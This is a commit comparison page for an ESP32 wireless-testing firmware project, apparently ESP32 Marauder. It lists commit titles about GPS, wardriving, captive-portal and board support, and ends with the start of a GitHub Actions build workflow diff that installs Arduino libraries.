Compare commits

...

273 Commits

Author SHA1 Message Date
Just Call Me Koko
7eb7ae4a0d Add gps command 2023-09-08 14:42:19 -04:00
Just Call Me Koko
10fce15bb9 Add wardrive command 2023-09-08 14:19:02 -04:00
Just Call Me Koko
32c118b0d5 Fix wardrive memory leak 2023-09-08 14:08:17 -04:00
Just Call Me Koko
c370dfa996 Fix for non display GPS 2023-09-07 21:01:35 -04:00
Just Call Me Koko
7669a7447f Add wardrive function 2023-09-07 20:26:33 -04:00
Just Call Me Koko
7049e1101f LinkedList v1.3.3 and hist limit 2023-09-07 10:16:56 -04:00
Just Call Me Koko
c0864af4db Set hist lim based on hardware 2023-09-07 09:50:08 -04:00
Just Call Me Koko
e4dcf91286 Increment version number 2023-09-07 09:00:06 -04:00
Just Call Me Koko
d382b066d4 Fix banner text size 2023-09-07 08:59:05 -04:00
Just Call Me Koko
4c50953dde Commented the wrong thing 2023-09-06 21:21:31 -04:00
Just Call Me Koko
a2f8eabd51 Change dev board pro gps rx pin 2023-09-06 20:59:15 -04:00
Just Call Me Koko
1465245cf4 Include v6_2 asset 2023-09-06 19:58:58 -04:00
Just Call Me Koko
3b3aa9a6e5 Fix find and spelling 2023-09-06 19:41:38 -04:00
Just Call Me Koko
6e645e437a Switch back to flipper 2023-09-06 19:26:03 -04:00
Just Call Me Koko
e0f95373c1 Export binary 2023-09-06 19:17:23 -04:00
Just Call Me Koko
787490820e Fix arduino-cli syntax 2023-09-06 18:54:58 -04:00
Just Call Me Koko
1167eaca67 set warnings to none 2023-09-06 18:38:59 -04:00
Just Call Me Koko
da949387fc Add warnings flag 2023-09-06 18:24:54 -04:00
Just Call Me Koko
0ec881f309 Add another arduino compile step 2023-09-06 18:00:04 -04:00
Just Call Me Koko
57186cf4b5 Adjust hist limit 2023-09-06 16:59:13 -04:00
Just Call Me Koko
a5d1b3faaf Fix MicroNMEA ref 2023-09-06 16:45:30 -04:00
Just Call Me Koko
9b14d2daf5 Update TFT_eSPI to 2.2.23 2023-09-06 16:39:50 -04:00
Just Call Me Koko
7092fdf6cb Replace SD lib in 2.0.10 2023-09-06 15:16:51 -04:00
Just Call Me Koko
e61c859df3 Fix GPS for WiFi Dev Board Pro 2023-09-06 14:48:41 -04:00
Just Call Me Koko
9b03aeff56 Add GPS to WiFi Dev Board Pro 2023-09-06 13:55:50 -04:00
Just Call Me Koko
d39f3fc2da Add GPS for flipper wifi dev board 2023-09-05 18:42:07 -04:00
Just Call Me Koko
e92476fb26 Add GPS Data command 2023-09-05 14:23:05 -04:00
Just Call Me Koko
4b000c8d18 Revert wardrive history limit 2023-09-05 13:46:49 -04:00
Just Call Me Koko
5d4f73dbc8 Change banner render method 2023-09-05 13:34:58 -04:00
Just Call Me Koko
3337c3e7a2 Adjust wardrive mac history 2023-09-04 21:56:29 -04:00
Just Call Me Koko
bf831a19fd Move GPS data menu to device 2023-09-04 21:36:02 -04:00
Just Call Me Koko
8f2b9c709a Remove unused methods and banner 2023-09-04 21:20:51 -04:00
Just Call Me Koko
edbd601af7 Change AP limit to test mem 2023-09-04 20:16:57 -04:00
Just Call Me Koko
e174291646 Add wardrive array 2023-09-04 20:06:26 -04:00
Just Call Me Koko
1580feb1d0 Fix GPS data still refreshing 2023-09-04 18:33:50 -04:00
Just Call Me Koko
5047296c94 Some don't have GPS 2023-09-01 16:01:10 -04:00
Just Call Me Koko
26a46d6c4d Add GPS data function 2023-09-01 15:20:10 -04:00
Just Call Me Koko
86328d2788 Add v6 SMA enclosures 2023-09-01 07:44:45 -04:00
Just Call Me Koko
f48d42ae0c Fix image position 2023-08-31 23:47:54 -04:00
Just Call Me Koko
4b40c0cf22 Add old Marauder title 2023-08-31 23:22:53 -04:00
Just Call Me Koko
363817c113 Trim more fat 2023-08-31 19:41:36 -04:00
Just Call Me Koko
4cf96a8f0c Fix includes 2023-08-31 19:26:09 -04:00
Just Call Me Koko
49888fa864 Remove bluetooth general menu 2023-08-31 18:46:13 -04:00
Just Call Me Koko
56133db97a Remove general menu 2023-08-31 18:39:07 -04:00
Just Call Me Koko
ce8c70daf7 New Marauder title screen 2023-08-31 18:11:21 -04:00
Just Call Me Koko
6a26ac2e04 Remove join/shutdown wifi 2023-08-31 15:02:34 -04:00
Just Call Me Koko
bc3038c73b Trim fat 2023-08-30 21:58:15 -04:00
Just Call Me Koko
eee1b5c8c2 Add GPS menu 2023-08-30 21:36:36 -04:00
Just Call Me Koko
ddfda9c9ed Clean up mem 2023-08-30 17:48:55 -04:00
Just Call Me Koko
d140f70093 Fix what happens and stuff 2023-08-30 16:50:54 -04:00
Just Call Me Koko
7299b66255 Stupid Arduino IDE autosave 2023-08-30 16:35:48 -04:00
Just Call Me Koko
c7936b06f2 Add MicroNMEA to libs 2023-08-30 16:29:06 -04:00
Just Call Me Koko
0106081308 Detect GPS module 2023-08-30 15:57:44 -04:00
Just Call Me Koko
3c9458e0f5 Add GPS capability 2023-08-30 15:08:06 -04:00
Just Call Me Koko
2735550d3a Merge pull request #317 from justcallmekoko/master
Master to Dev
2023-08-28 16:59:27 -04:00
Just Call Me Koko
6da2d33507 Merge pull request #313 from sfjuocekr/sfjuocekr-patch-1
Fix string copy
2023-08-28 09:31:34 -04:00
Just Call Me Koko
d1e0d96543 Merge pull request #316 from AWOK559/master
Added V6 case
2023-08-28 09:29:47 -04:00
AWOK
17a4035208 Added V6 case
Added case designed by AWOK
2023-08-26 20:10:39 -07:00
Sjoer van der Ploeg
def6d2d277 Fix string copy
strncpy only copies the bytes specified, so if you set a name like "PORTAL" and then want to set a name like "HELLO" the result for apName would be "HELLOL".

Instead copy the size of MAX_AP_NAME_SIZE.
2023-08-21 19:23:03 +02:00
Just Call Me Koko
9db9c630e4 Merge pull request #308 from justcallmekoko/develop
Develop
2023-08-01 11:35:54 -04:00
Just Call Me Koko
816e620b5b Merge pull request #307 from justcallmekoko/tracedgod
Tracedgod
2023-08-01 10:30:53 -04:00
Just Call Me Koko
89d731b10d Fix sigstren monitor 2023-07-26 23:26:35 -04:00
Just Call Me Koko
105a23b1f2 Fix captive portal not showing after AP connect 2023-07-25 21:04:17 -04:00
Just Call Me Koko
70b0601713 Update version number 2023-07-24 17:50:42 -04:00
Just Call Me Koko
ada170f910 Remove memory "fix" 2023-07-24 17:49:40 -04:00
Just Call Me Koko
dd998ceb07 Adjust verbiage 2023-07-21 09:41:32 -04:00
Just Call Me Koko
5a885fba83 Move Evil Portal to attack menu 2023-07-20 16:38:35 -04:00
Just Call Me Koko
3dfc651689 Switch to flipper 2023-07-20 15:37:25 -04:00
Just Call Me Koko
2b9f5c857c Display output and logs 2023-07-20 15:37:05 -04:00
Just Call Me Koko
fa11a04ba5 Use SSID list for EvilPortal 2023-07-20 12:32:12 -04:00
Just Call Me Koko
71266ae650 Display things 2023-07-20 11:51:24 -04:00
Just Call Me Koko
81b04db462 Reduce memory one more time 2023-07-19 17:38:13 -04:00
Just Call Me Koko
433c492f4b Reduce memory a little bit more 2023-07-19 17:27:40 -04:00
Just Call Me Koko
76526c3de6 Reduce mem a little bit 2023-07-19 17:14:38 -04:00
Just Call Me Koko
f30d8813f8 Remove a32u4 and 8266 components 2023-07-19 16:57:57 -04:00
Just Call Me Koko
3f5aecb38b Reduce memory a bit 2023-07-19 16:40:53 -04:00
Just Call Me Koko
eb1aeaa1cb Revert HTML limit 2023-07-19 16:11:34 -04:00
Just Call Me Koko
61e63aeb59 Switch back to flipper 2023-07-19 15:40:02 -04:00
Just Call Me Koko
0de13bf86d Remove espressif macs 2023-07-19 15:35:32 -04:00
Just Call Me Koko
05980c4100 Reduce the memory again 2023-07-19 14:39:42 -04:00
Just Call Me Koko
f1e4e9e9a1 Switching back to 2.0.10 I guess 2023-07-19 14:05:31 -04:00
Just Call Me Koko
9900109e81 Add some directories 2023-07-19 12:59:15 -04:00
Just Call Me Koko
68e370ca50 Do another I guess 2023-07-19 12:53:09 -04:00
Just Call Me Koko
28f674c48a stuff 2023-07-19 12:51:19 -04:00
Just Call Me Koko
d6f97091d7 Don't compile esp32 code 2023-07-19 12:46:54 -04:00
Just Call Me Koko
f4b8d827c9 Ok show me arduino-esp32 at every step 2023-07-19 12:25:53 -04:00
Just Call Me Koko
5f20e18359 Update arduino-test-compile 2023-07-19 12:20:02 -04:00
Just Call Me Koko
d7ac61fea1 Compile test code before install libs 2023-07-19 12:04:30 -04:00
Just Call Me Koko
6104aeadd5 Remove OTA compilation 2023-07-19 11:58:29 -04:00
Just Call Me Koko
8f4aa0115e Force the use of 2.0.3 2023-07-19 11:40:16 -04:00
Just Call Me Koko
11d8e95fb5 Add limit check 2023-07-19 11:16:16 -04:00
Just Call Me Koko
b34039158a Fix app space issues 2023-07-19 11:08:01 -04:00
Just Call Me Koko
304cecfbbd Ugh just hang on to this 2023-07-19 09:42:10 -04:00
Just Call Me Koko
bcdc70563a Fix LED macros 2023-07-19 09:02:00 -04:00
Just Call Me Koko
0ddc563fe2 Spelling 2023-07-19 08:38:37 -04:00
Just Call Me Koko
11faa91373 Fix drawCentreString 2023-07-19 08:37:50 -04:00
Just Call Me Koko
f73fe5fc94 Fix LinkedList ref 2023-07-18 20:55:46 -04:00
Just Call Me Koko
1de9dd76c6 Fix macros and specify lib ver 2023-07-18 20:51:58 -04:00
Just Call Me Koko
1917089ecb Uncomment new libs 2023-07-18 19:34:32 -04:00
Just Call Me Koko
8a7648a72e Fine...fucking use v2.0.10
This had better not break deauthentication capability or I'm going to shit myself.
2023-07-18 19:34:00 -04:00
Just Call Me Koko
8a7ae55c10 Revert version
Whoever changed this shit outside of my repo and fucked this whole thing up can go fuck themselves
2023-07-18 19:28:22 -04:00
Just Call Me Koko
92adabb380 Remove useless libraries flag 2023-07-18 19:18:10 -04:00
Just Call Me Koko
f00afa1430 Change specified version 2023-07-18 19:17:50 -04:00
Just Call Me Koko
ae6cf3a472 Remove new libraries 2023-07-18 19:14:46 -04:00
Just Call Me Koko
8c3772cf35 specify 2.0.3 because it defaults 2.0.10 2023-07-18 19:07:30 -04:00
Just Call Me Koko
ee5361bfb3 Move this stage 2023-07-18 18:39:33 -04:00
Just Call Me Koko
2a34319029 Ok something upstream changed 2023-07-18 18:30:51 -04:00
Just Call Me Koko
6f1db9176a Save evil portal logs 2023-07-18 18:15:23 -04:00
Just Call Me Koko
2685de86d1 Fix evil portal 2023-07-17 22:32:27 -04:00
Just Call Me Koko
a51db0d8ae Add Evil Portal Scan mode 2023-07-14 14:43:06 -04:00
Just Call Me Koko
e936cdb22a Use my fork 2023-07-14 12:04:38 -04:00
Just Call Me Koko
adb38dd620 Add evil portal libs 2023-07-14 11:36:00 -04:00
Just Call Me Koko
26115b0510 Point to flipper 2023-07-14 11:28:51 -04:00
Just Call Me Koko
76f8ceb63f Upgrade arduino-ep32 to 2.0.9 2023-07-14 11:24:07 -04:00
Just Call Me Koko
50e99a62e9 Create files for evil portal 2023-07-14 10:44:36 -04:00
Just Call Me Koko
f854a30ed6 Try to fix memory leak 2023-07-14 08:29:24 -04:00
Just Call Me Koko
ec0cc676ed Fix neopixel defs 2023-07-13 18:35:29 -04:00
Just Call Me Koko
c4fa30b3f8 Merge pull request #297 from tracedgod/tracedgod
Fix Actions not building on branch 'tracedgod'
2023-07-13 18:32:15 -04:00
tracedgod
5886bd991d NeoPixel for M5StickC 2023-06-23 20:06:23 -04:00
tracedgod
a7cf003d84 Fix NeoPixel for all Marauder Boards
All Marauder Boards use NeoPixel.
2023-06-23 19:26:38 -04:00
tracedgod
1fca730b00 Fix NeoPixel Definition for OG Marauder 2023-06-23 19:16:42 -04:00
tracedgod
121dfbfa7e Merge remote-tracking branch 'upstream/tracedgod' into tracedgod 2023-06-23 18:14:07 -04:00
Just Call Me Koko
ea1b54cc91 Fix button macros 2023-06-23 13:59:36 -04:00
Just Call Me Koko
5e77bb664d Fix SD macros and indentation 2023-06-23 13:47:48 -04:00
Just Call Me Koko
2d2d83e3af Add missing semi 2023-06-22 14:44:54 -04:00
Just Call Me Koko
d8c960dbe5 Add missing semi 2023-06-22 14:44:18 -04:00
Just Call Me Koko
a0acd10bd7 Merge pull request #280 from tracedgod/develop
Refactor configs.h & others
2023-06-22 14:37:35 -04:00
Just Call Me Koko
38a8727bfb Merge pull request #287 from justcallmekoko/master
Merge pull request #286 from justcallmekoko/develop
2023-06-21 20:16:28 -04:00
Just Call Me Koko
539ebb93a7 Merge pull request #286 from justcallmekoko/develop
Develop
2023-06-21 20:16:07 -04:00
Just Call Me Koko
56de1b698a Update version number 2023-06-21 19:44:51 -04:00
Just Call Me Koko
524d4641ed Fix m5stickc plus screen again 2023-06-21 17:15:28 -04:00
Just Call Me Koko
df613f3b9b Fix m5stickc plus screen 2023-06-21 16:50:01 -04:00
tracedgod
810c898c3b Merge branch 'develop' into develop 2023-06-14 18:27:50 -04:00
tracedgod
8bf1402a99 fixup preprocessor directives 2023-06-10 00:22:19 -04:00
tracedgod
9c51a562b8 Refactor Code + XIAO-ESP32-S3 Support
Refactoring / pre-processor optimizations to only include files if specified in the `configs.h` file.

Also adds support for the XIAO-ESP32-S3 small board from Seeed Studio.
2023-06-10 00:22:19 -04:00
tracedgod
56e87a53ea Update xiaoLED.h 2023-06-10 00:22:19 -04:00
tracedgod
fe5578af80 fix typo for XiaoLED 2023-06-10 00:22:19 -04:00
tracedgod
f3349766ed Add XIAO-ESP32-S3 Board Support (WIP)
looking to cleanup certain things with config to allow easier customization of the build when used with the flipper zero
2023-06-10 00:22:19 -04:00
tracedgod
355b159128 fixup preprocessor directives 2023-06-09 23:10:21 -04:00
tracedgod
bf0288f493 Refactor Code + XIAO-ESP32-S3 Support
Refactoring / pre-processor optimizations to only include files if specified in the `configs.h` file.

Also adds support for the XIAO-ESP32-S3 small board from Seeed Studio.
2023-06-09 22:35:56 -04:00
tracedgod
462f248d43 Update xiaoLED.h 2023-06-09 19:11:01 -04:00
tracedgod
3dcce51f18 fix typo for XiaoLED 2023-06-09 19:04:56 -04:00
tracedgod
8934160316 Add XIAO-ESP32-S3 Board Support (WIP)
looking to cleanup certain things with config to allow easier customization of the build when used with the flipper zero
2023-06-09 18:50:56 -04:00
tracedgod
a98e455fb5 Update .gitignore
ignore vscode settings.json
2023-06-09 17:31:50 -04:00
tracedgod
ccdb844fc2 Update .gitmodules
fix gitmodule sources, for some reason did not want to properly clone submodules...
2023-06-09 17:28:49 -04:00
Just Call Me Koko
0b26b2d4d3 Add led command 2023-06-09 17:03:38 -04:00
Just Call Me Koko
50eb2b0da6 Merge pull request #279 from justcallmekoko/master
Merge pull request #278 from justcallmekoko/develop
2023-06-08 16:24:14 -04:00
Just Call Me Koko
771d03d931 Merge pull request #278 from justcallmekoko/develop
Develop
2023-06-08 16:23:52 -04:00
Just Call Me Koko
4f1611083f Fix no bt for dev board pro 2023-06-07 15:32:40 -04:00
Just Call Me Koko
b5eb343c52 Merge pull request #277 from justcallmekoko/master
Merge pull request #276 from justcallmekoko/develop
2023-06-06 17:17:52 -04:00
Just Call Me Koko
e7ba169c04 Merge pull request #276 from justcallmekoko/develop
Develop
2023-06-06 17:17:31 -04:00
Just Call Me Koko
a5b3ce9f0a Update version number 2023-06-06 17:16:31 -04:00
Just Call Me Koko
eec6c37732 Fix unclickable sigmon 2023-06-06 12:57:32 -04:00
Just Call Me Koko
5cfb756051 Merge pull request #269 from justcallmekoko/master
Merge pull request #268 from justcallmekoko/develop
2023-06-01 17:00:07 -04:00
Just Call Me Koko
31aa12d4ed Merge pull request #268 from justcallmekoko/develop
Develop
2023-06-01 16:58:53 -04:00
Just Call Me Koko
d7fbf21345 Update README.md 2023-06-01 15:52:33 -04:00
Just Call Me Koko
e027231a43 That was dumb 2023-05-30 13:59:02 -04:00
Just Call Me Koko
ed5e6bc787 Add SD_MMC 2023-05-30 13:54:33 -04:00
Just Call Me Koko
2092b0a462 Add ls command
Fix sniffpmkid LED
2023-05-30 13:47:40 -04:00
Just Call Me Koko
4d269b383b Add sigmon to menu 2023-05-22 16:02:21 -04:00
Just Call Me Koko
0a90e6aedc Fix open files when SD disable 2023-05-19 16:19:45 -04:00
Just Call Me Koko
6b4e2952d6 Add function for signal strength monitor 2023-05-18 17:07:39 -04:00
Just Call Me Koko
a84ee7e58e Update User_Setup_Select.h 2023-05-18 10:33:45 -04:00
Just Call Me Koko
1eeedac84c Adjust Macros 2023-05-18 09:53:19 -04:00
Just Call Me Koko
e556309746 Compile settings for M5StickC Plus 2023-05-18 09:52:54 -04:00
Just Call Me Koko
b21ee85b83 Add steps for M5StickC Plus 2023-05-18 09:41:28 -04:00
Just Call Me Koko
f2c1d01d13 Add compatibility for M5StickC Plus 2023-05-15 14:25:06 -04:00
Just Call Me Koko
cbe6d0196b Revert config 2023-05-04 14:59:46 -04:00
Just Call Me Koko
6ab706c848 Update syntax strings 2023-05-04 14:58:25 -04:00
Just Call Me Koko
999dd77643 Add targeted active PMKID sniff 2023-05-04 14:40:53 -04:00
Just Call Me Koko
99210984e4 Merge pull request #258 from wallali/develop
Improved serial outputs
2023-04-21 10:11:23 -04:00
wallali
9ae60eeecf Merge branch 'coco_develop' into develop 2023-04-21 14:41:54 +01:00
wallali
6ff61f4991 Improve output during pkimd sniff 2023-04-21 14:39:43 +01:00
wallali
f4486ec191 Helpful serial output if BT unsupported in fw 2023-04-21 14:38:43 +01:00
wallali
ce6a40e554 Improve output during pkimd sniff 2023-04-21 14:26:43 +01:00
wallali
09615832b3 Helpful serial output if BT unsupported in fw 2023-04-21 14:24:09 +01:00
Just Call Me Koko
0a9fc2a485 Merge pull request #257 from tcpassos/develop
Created "-f" parameter in the AP selection to filter the APs that will be selected
2023-04-20 16:46:17 -04:00
tcpassos
d555031b54 Created "-f" parameter in the AP selection to filter the APs that will be selected 2023-04-20 00:29:51 -03:00
Just Call Me Koko
8efa79a407 Account for pull req when creating release 2023-04-19 13:05:20 -04:00
Just Call Me Koko
59739b331d Merge pull request #255 from wallali/join_wifi
Added join (WiFi) command and reporting for list counts
2023-04-19 12:57:12 -04:00
wallali
9f181d73a6 Helpful guidance on scan station - use the correct list now 2023-04-18 13:52:53 +01:00
wallali
37788fe1a9 Helpful guidance on scan station 2023-04-18 13:46:33 +01:00
wallali
db6d23f3e4 List and select commands now report counts of selected/unselected items 2023-04-17 14:27:12 +01:00
wallali
6c8e77cba2 Merge branch 'develop' into join_wifi 2023-04-15 13:52:41 +01:00
wallali
accd8f5730 Update banner to tell me when i'm using serial output 2023-04-15 04:22:59 +01:00
wallali
7661b47a42 Allow join WiFi from command line 2023-04-15 04:21:13 +01:00
Just Call Me Koko
3e16378993 Update README.md 2023-04-14 08:15:55 -04:00
Just Call Me Koko
b51df45dec Update config to v0.10.3 2023-04-14 08:15:35 -04:00
Just Call Me Koko
93bb2c6a85 Fix SD Serial configuration 2023-04-14 08:13:45 -04:00
Just Call Me Koko
5da426de99 Create wifi-dev-board-pro-3v3-orientation.png 2023-04-10 08:16:54 -04:00
Just Call Me Koko
07d5e8787e Merge pull request #244 from tcpassos/develop
Allowed to enter custom SSIDs with spaces in the name as long as they are enclosed in quotes
2023-04-09 14:47:20 -04:00
tcpassos
7a6a880cb9 Beacon spam list SSIDs will not change channels 2023-04-06 15:48:50 -03:00
tcpassos
1546fad676 Stops breaking parameters that are enclosed in quotes 2023-04-04 12:40:11 -03:00
Just Call Me Koko
785545c185 Add WiFi Dev Board Pro SMA Enclosure 2023-03-31 12:13:09 -04:00
Just Call Me Koko
3f5bcd106a Revert flipper macro 2023-03-14 23:50:11 -04:00
Just Call Me Koko
633a38d257 Fix default broadcast during attack 2023-03-14 23:48:32 -04:00
Just Call Me Koko
f044df2647 Add build for SD Serial 2023-03-14 16:27:01 -04:00
Just Call Me Koko
7eecf35eed Merge pull request #233 from tcpassos/serial_test
Packet transmission via serial
2023-03-14 16:12:49 -04:00
Just Call Me Koko
b8df6e2598 Run on pull requests 2023-03-14 16:10:51 -04:00
tcpassos
e028c39470 Added WRITE_PACKETS_SERIAL macro to transmit packets via serial (1) instead of using SD card 2023-03-01 08:42:08 -03:00
tcpassos
592b7f68e8 Update .gitignore 2023-02-28 22:49:27 -03:00
Just Call Me Koko
99ef926fb7 Add files via upload 2023-02-02 16:40:08 -05:00
Just Call Me Koko
5e9e096631 Add images for WiFi Dev Board Pro 2023-01-20 11:50:46 -05:00
Just Call Me Koko
ab5c65f525 Merge pull request #217 from justcallmekoko/master
Rebase Develop
2023-01-18 21:03:42 -05:00
Just Call Me Koko
2b324eaaf2 Add wifi dev board pro top with buttons 2023-01-18 21:02:33 -05:00
Just Call Me Koko
ed41954f5a Merge pull request #216 from trisp3ar/develop
adding CAD models for Devboard Pro enclosure and Solder Jig
2023-01-18 15:57:18 -05:00
Gregor Hermani
f79e0591df adding CAD models for Devboard Pro enclosure and Solder Jig 2023-01-18 10:42:17 +01:00
Just Call Me Koko
59a037925f Fix string replacement 2023-01-17 12:11:07 -05:00
Just Call Me Koko
6a6c8d8ff3 Merge pull request #213 from justcallmekoko/master
Rebase develop
2023-01-17 11:50:46 -05:00
Just Call Me Koko
8c3f1890b2 Merge pull request #212 from justcallmekoko/develop
Develop
2023-01-17 11:50:15 -05:00
Just Call Me Koko
eb69eb1454 Update README.md 2023-01-17 11:47:52 -05:00
Just Call Me Koko
4e76cfd154 Adjust SD update phrasing 2023-01-17 11:47:21 -05:00
Just Call Me Koko
752a65570f Add Marauder Dev Board Pro Build and Push 2023-01-16 18:38:57 -05:00
Just Call Me Koko
f8379f9e4b Update README 2023-01-16 11:27:02 -05:00
Just Call Me Koko
e7f2060886 Merge pull request #209 from justcallmekoko/master
Rebase Develop
2023-01-16 11:02:50 -05:00
Just Call Me Koko
5103426354 Merge pull request #208 from justcallmekoko/develop
Develop
2023-01-16 11:02:06 -05:00
Just Call Me Koko
4285eefe62 Flipper 2023-01-16 11:01:37 -05:00
Just Call Me Koko
02ac34ed3d Add support for wifi dev board pro 2023-01-16 11:01:02 -05:00
Just Call Me Koko
5187c11395 Create README.md 2023-01-12 11:47:47 -05:00
Just Call Me Koko
169e858752 Update configs.h 2023-01-08 13:18:13 -05:00
Just Call Me Koko
6760d1dc54 Add OG Marauder v3.8 PCB Step file 2023-01-06 13:49:46 -05:00
Just Call Me Koko
0fdfeb0f85 Update BOM with flipper header component 2023-01-02 15:14:01 -05:00
Just Call Me Koko
a30c74f494 Fix missing MOSFET 2023-01-02 14:53:42 -05:00
Just Call Me Koko
c62f5a8cd9 Update BOM 2023-01-02 14:42:35 -05:00
Just Call Me Koko
653f7b6534 Add fabrication files 2023-01-02 13:11:28 -05:00
Just Call Me Koko
9b99f3d391 Place drill hole, fill graphics, remove fab marks 2023-01-02 13:00:56 -05:00
Just Call Me Koko
385d627a93 Merge pull request #201 from trisp3ar/develop
Add BOM, updated with MOSFET replacement
2022-12-27 09:42:51 -05:00
Gregor Hermani
e7f37e2608 Add BOM, updated with MOSFET replacement 2022-12-26 00:05:14 +01:00
Just Call Me Koko
c3f5bbc93a Merge pull request #200 from justcallmekoko/master
Rebase Develop
2022-12-22 16:32:30 -05:00
Just Call Me Koko
ae12f5f9a5 Merge pull request #199 from justcallmekoko/develop
Develop
2022-12-22 16:31:46 -05:00
Just Call Me Koko
73ba7747eb Fix scan sta exit for mini 2022-12-22 16:30:04 -05:00
Just Call Me Koko
c76718b21e Merge pull request #197 from trisp3ar/develop
Stream review, add logo and text
2022-12-22 15:25:26 -05:00
Just Call Me Koko
6c6e0aa5c3 Revert config to flipper for workflow 2022-12-22 15:24:30 -05:00
Just Call Me Koko
7d64840128 Add command to attack stations 2022-12-22 15:21:54 -05:00
Just Call Me Koko
e54e291bfd Update version number 2022-12-22 12:48:20 -05:00
Just Call Me Koko
8a204162ae Fix Stations displaying during scan 2022-12-22 12:47:36 -05:00
Just Call Me Koko
a153661457 Select stations from touch screen 2022-12-22 12:37:07 -05:00
Just Call Me Koko
efbeb549ee Select stations from CLI 2022-12-22 10:28:17 -05:00
Just Call Me Koko
52c44d69c2 Show and clear client list 2022-12-22 09:44:40 -05:00
Just Call Me Koko
3375672ab5 Add station scan 2022-12-21 19:35:53 -05:00
Gregor Hermani
a7efc0218d Stream review, add logo and text 2022-12-22 00:10:35 +01:00
Just Call Me Koko
4bde27ba5c Merge pull request #195 from trisp3ar/develop
push conflict resolve
2022-12-21 10:07:30 -05:00
Gregor Hermani
d7863ee7d0 push conflict resolve 2022-12-21 16:06:28 +01:00
Just Call Me Koko
9132a2891b Merge pull request #194 from trisp3ar/develop
Develop
2022-12-21 09:53:56 -05:00
Just Call Me Koko
9764d7dd52 Merge branch 'develop' into develop 2022-12-21 09:53:40 -05:00
Gregor Hermani
3ef85f8d68 Review complete, DRC done, ready for manufacturing, Tag: V0.1.0 2022-12-21 13:53:04 +01:00
Gregor Hermani
9f6df790aa rerouting done, continue with DRC 2022-12-21 00:18:43 +01:00
Just Call Me Koko
6921c0f41d Fix missing 3v3 connection 2022-12-20 16:47:36 -05:00
Gregor Hermani
92541eb1f3 started review 2022-12-20 18:41:38 +01:00
Just Call Me Koko
5543e1b4b1 Idk...something changed 2022-12-15 17:48:31 -05:00
Just Call Me Koko
58a8ba971c Add design rule check markers 2022-12-15 17:26:39 -05:00
Just Call Me Koko
5b515d8767 Remove foot print prefixes 2022-12-15 17:23:09 -05:00
Just Call Me Koko
17dc195b0d Final PCB connection made 2022-12-15 17:17:51 -05:00
Just Call Me Koko
b651def518 Finish all but one connection 2022-12-15 17:13:17 -05:00
Just Call Me Koko
e0b13fd9b3 More traces and plains 2022-12-14 18:13:23 -05:00
Just Call Me Koko
22c4c7d860 Merge branch 'develop' of https://github.com/justcallmekoko/ESP32Marauder into develop 2022-12-14 16:09:35 -05:00
Just Call Me Koko
9913d058fb Add workflow support for ESP32 LDDB 2022-12-14 16:09:33 -05:00
Just Call Me Koko
182c988f3c Merge pull request #192 from trisp3ar/develop
preliminary review done
2022-12-13 20:19:11 -05:00
Gregor Hermani
34b2496030 preliminary review done, change RT and TX breakout, add PWR planes 3V3 and GND 2022-12-13 23:59:40 +01:00
Just Call Me Koko
74fa39faf3 Start adding traces 2022-12-13 16:16:59 -05:00
Just Call Me Koko
23dc23cceb Merge pull request #191 from trisp3ar/develop
start routing, setting rules
2022-12-13 09:36:09 -05:00
Gregor Hermani
657d37a30a start routing, setting rules 2022-12-13 00:08:23 +01:00
Just Call Me Koko
94bc2163ac Move silkscreen gpio number 2022-12-12 16:19:17 -05:00
Just Call Me Koko
9bf54f065b Merge pull request #188 from trisp3ar/develop
Review done (#185)
2022-12-12 16:03:21 -05:00
Just Call Me Koko
0186f0a45c Merge pull request #190 from justcallmekoko/master
Bring develop up to date with master
2022-12-12 16:03:00 -05:00
Gregor Hermani
2598eae1df Review done (#185) 2022-12-11 16:53:24 +01:00
Just Call Me Koko
aa601e1bee Update README.md 2022-12-10 10:55:50 -05:00
Just Call Me Koko
b136ad20e0 Merge pull request #186 from justcallmekoko/develop
Develop
2022-12-10 09:48:51 -05:00
Just Call Me Koko
3e900e75a9 Fix Flipper LED white light on boot 2022-12-10 09:47:58 -05:00
Just Call Me Koko
4ae4d62a64 Fix wifi initialization for attacks
First attack would succeed. Subsequent attacks would fail
2022-12-10 09:39:38 -05:00
Just Call Me Koko
fdd9ade442 Place components on PCB 2022-12-09 13:45:37 -05:00
Just Call Me Koko
3d58f29231 Merge pull request #184 from justcallmekoko/master
Bring develop up to date with master
2022-12-09 11:25:41 -05:00
Just Call Me Koko
985ac8ac81 Add flash files for all hardware 2022-12-08 15:08:16 -05:00
150 changed files with 1162364 additions and 7545 deletions

View File

@@ -2,6 +2,8 @@ name: Build and Push
on:
workflow_dispatch:
pull_request:
types: [opened, reopened]
jobs:
# This workflow contains a single job called "build"
@@ -14,62 +16,97 @@ jobs:
- name: Checkout Code
uses: actions/checkout@v3
- name: Install ESP32 Boards and Compile TestFile
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: TestFile.ino
arduino-board-fqbn: esp32:esp32:esp32s2
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.10/package_esp32_dev_index.json
- name: Pull arduino-esp32 v2.0.4
uses: actions/checkout@v2
with:
repository: espressif/arduino-esp32
ref: 2.0.4
path: 2.0.4arduino-esp32
- name: Pull arduino-esp32 v2.0.10
uses: actions/checkout@v2
with:
repository: espressif/arduino-esp32
ref: 2.0.10
path: 2.0.10
- name: Install AsyncTCP
uses: actions/checkout@v2
with:
repository: me-no-dev/AsyncTCP
ref: master
path: CustomAsyncTCP
- name: Install MicroNMEA
uses: actions/checkout@v2
with:
repository: stevemarple/MicroNMEA
ref: v2.0.6
path: CustomMicroNMEA
- name: Install ESPAsyncWebServer
uses: actions/checkout@v2
with:
repository: bigbrodude6119/ESPAsyncWebServer
ref: master
path: CustomESPAsyncWebServer
#- name: Install TFT_eSPI
# uses: actions/checkout@v2
# with:
# repository: justcallmekoko/TFT_eSPI
# ref: master
# path: CustomTFT_eSPI
- name: Install TFT_eSPI
uses: actions/checkout@v2
with:
repository: justcallmekoko/TFT_eSPI
ref: master
repository: Bodmer/TFT_eSPI
ref: 2.2.23
path: CustomTFT_eSPI
- name: Install LinkedList
uses: actions/checkout@v2
with:
repository: ivanseidel/LinkedList
ref: master
path: CustomLinkedList
- name: Install lv_arduino
uses: actions/checkout@v2
with:
repository: lvgl/lv_arduino
ref: master
ref: 3.0.0
path: Customlv_arduino
- name: Install JPEGDecoder
uses: actions/checkout@v2
with:
repository: Bodmer/JPEGDecoder
ref: master
ref: 1.8.0
path: CustomJPEGDecoder
- name: Install NimBLE-Arduino
uses: actions/checkout@v2
with:
repository: h2zero/NimBLE-Arduino
ref: 1.2.0
path: CustomNimBLE-Arduino
- name: Install Adafruit_NeoPixel
